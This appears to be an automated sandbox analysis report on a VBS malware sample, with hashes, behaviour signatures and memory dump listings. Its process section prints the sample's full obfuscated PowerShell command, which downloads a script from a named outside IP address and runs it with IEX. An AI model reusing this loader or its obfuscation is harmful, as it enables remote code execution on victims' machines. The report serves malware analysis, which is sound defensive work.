Analysis
-
max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
11-02-2022 18:09
Static task
static1
Behavioral task
behavioral1
Sample
CQNUQGCNZ.vbs
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
CQNUQGCNZ.vbs
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
CQNUQGCNZ.vbs
-
Size
10KB
-
MD5
6612508aa88431555344552cb01f160e
-
SHA1
27996b57e0e6f57c28c99f6f6689683d4baca2d5
-
SHA256
cccccb888c81985ab515e56c035ae0e5708b88d8a8ef3b08a1a9d990fbbe83cd
-
SHA512
90c375626a3aeaf61b9aa77f1019c29e0215bbeb1e22f1cb22f8c4d55733177c0af674999e3829e9b838ee5b2b589259b479bfcf2855f6089afd8ae796a5f12c
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 748 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 748 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1576 wrote to memory of 748 1576 WScript.exe powershell.exe PID 1576 wrote to memory of 748 1576 WScript.exe powershell.exe PID 1576 wrote to memory of 748 1576 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CQNUQGCNZ.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HUEFUTBTCTLCFKDGFALECUN = '[*+5&/!3<</(%3<$$&<1@#-y*+5&/!3<</(%3<$$&<1@#-t/%&1&+&7=!@8-0(0-+8%$\[/&]9}][1_+@%-&<&#^--%.IO.*+5&/!3<</(%3<$$&<1@#-t)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%[/&]9}][1_+@%-&<&#^--%)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%d/%&1&+&7=!@8-0(0-+8%$\)*({3!_=3]@{-+1\}@%{88]'.RePlace('*+5&/!3<</(%3<$$&<1@#-','S').RePlace('/%&1&+&7=!@8-0(0-+8%$\','E').RePlace(')*({3!_=3]@{-+1\}@%{88','R').RePlace('4}84}8705\01[/#-(6&19%','A').RePlace('[/&]9}][1_+@%-&<&#^--%','M');$HHPCXNLYCJNJNANYSIXGBXB = ($HUEFUTBTCTLCFKDGFALECUN -Join '')|&('I'+'EX');$HBSWWCHKJPHCIHYLPBADIVC = '[%=}3&3{997<)<9(\/#$9]_y%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%!^%)7)_4&^+#%{370{3-#%m.N!^%)7)_4&^+#%{370{3-#%#[{9@(%3!%*}#!(]]5)5+%.W!^%)7)_4&^+#%{370{3-#%bR!^%)7)_4&^+#%{370{3-#%qu!^%)7)_4&^+#%{370{3-#%%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%]'.RePlace('%=}3&3{997<)<9(\/#$9]_','S').RePlace('!^%)7)_4&^+#%{370{3-#%','E').RePlace('#[{9@(%3!%*}#!(]]5)5+%','T');$HRKBGLQEIIOTGKRAVGDLNFB = ($HBSWWCHKJPHCIHYLPBADIVC -Join '')|&('I'+'EX');$HEKLNIBCXUJQWGFRURKPEYH = '}=5(@3]#3)+286%^()-%7%r\9-9[^\2<62^/3@+]3!){}a^[0__=$7}#(@{][37@^2_&\9-9[^\2<62^/3@+]3!){}'.RePlace('}=5(@3]#3)+286%^()-%7%','C').RePlace('\9-9[^\2<62^/3@+]3!){}','E').RePlace('^[0__=$7}#(@{][37@^2_&','T');$HEBZUFQTNVBUTPKTLSTLJWS = '<=7#5]=_4*+3-]/7}6)-!)\(9%[{[/5=6/[(%9(&%592tR\(9%[{[/5=6/[(%9(&%592++4/41*0$\7@})4_2\{5$/Pon++4/41*0$\7@})4_2\{5$/\(9%[{[/5=6/[(%9(&%592'.RePlace('<=7#5]=_4*+3-]/7}6)-!)','G').RePlace('\(9%[{[/5=6/[(%9(&%592','E').RePlace('++4/41*0$\7@})4_2\{5$/','S');$HHPHRZIHNFHAGPKYQIXDUFE = 'G-^{}6\%&!4)-{0/-92=!)1t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08Pon\{1@=&(406!]](!]+[#[08-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1am'.RePlace('\{1@=&(406!]](!]+[#[08','S').RePlace('-^{}6\%&!4)-{0/-92=!)1','E').RePlace('1/=&068/-*)_2^(\@_)-}7','R');$HXLYDESAYDAKLLLAJUVKBOS = '85{2//*@5<)-^[3_)00#@2449$6@_2+[6{+*=970##$_a101-}+2!%$[72+-&{7+39{To449$6@_2+[6{+*=970##$_n101-}+2!%$[72+-&{7+39{'.RePlace('85{2//*@5<)-^[3_)00#@2','R').RePlace('449$6@_2+[6{+*=970##$_','E').RePlace('101-}+2!%$[72+-&{7+39{','D');&('I'+'EX')($HHPCXNLYCJNJNANYSIXGBXB::new($HRKBGLQEIIOTGKRAVGDLNFB::$HEKLNIBCXUJQWGFRURKPEYH('HttP://54.235.58.2/4/Ps1Hff.txt').$HEBZUFQTNVBUTPKTLSTLJWS().$HHPHRZIHNFHAGPKYQIXDUFE()).$HXLYDESAYDAKLLLAJUVKBOS())2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/748-56-0x000007FEF34B0000-0x000007FEF400D000-memory.dmpFilesize
11.4MB
-
memory/748-60-0x0000000002574000-0x0000000002577000-memory.dmpFilesize
12KB
-
memory/748-59-0x0000000002572000-0x0000000002574000-memory.dmpFilesize
8KB
-
memory/748-58-0x0000000002570000-0x0000000002572000-memory.dmpFilesize
8KB
-
memory/748-57-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmpFilesize
4KB
-
memory/748-61-0x000000001B790000-0x000000001BA8F000-memory.dmpFilesize
3.0MB
-
memory/748-62-0x000000000257B000-0x000000000259A000-memory.dmpFilesize
124KB
-
memory/1576-54-0x000007FEFC0E1000-0x000007FEFC0E3000-memory.dmpFilesize
8KB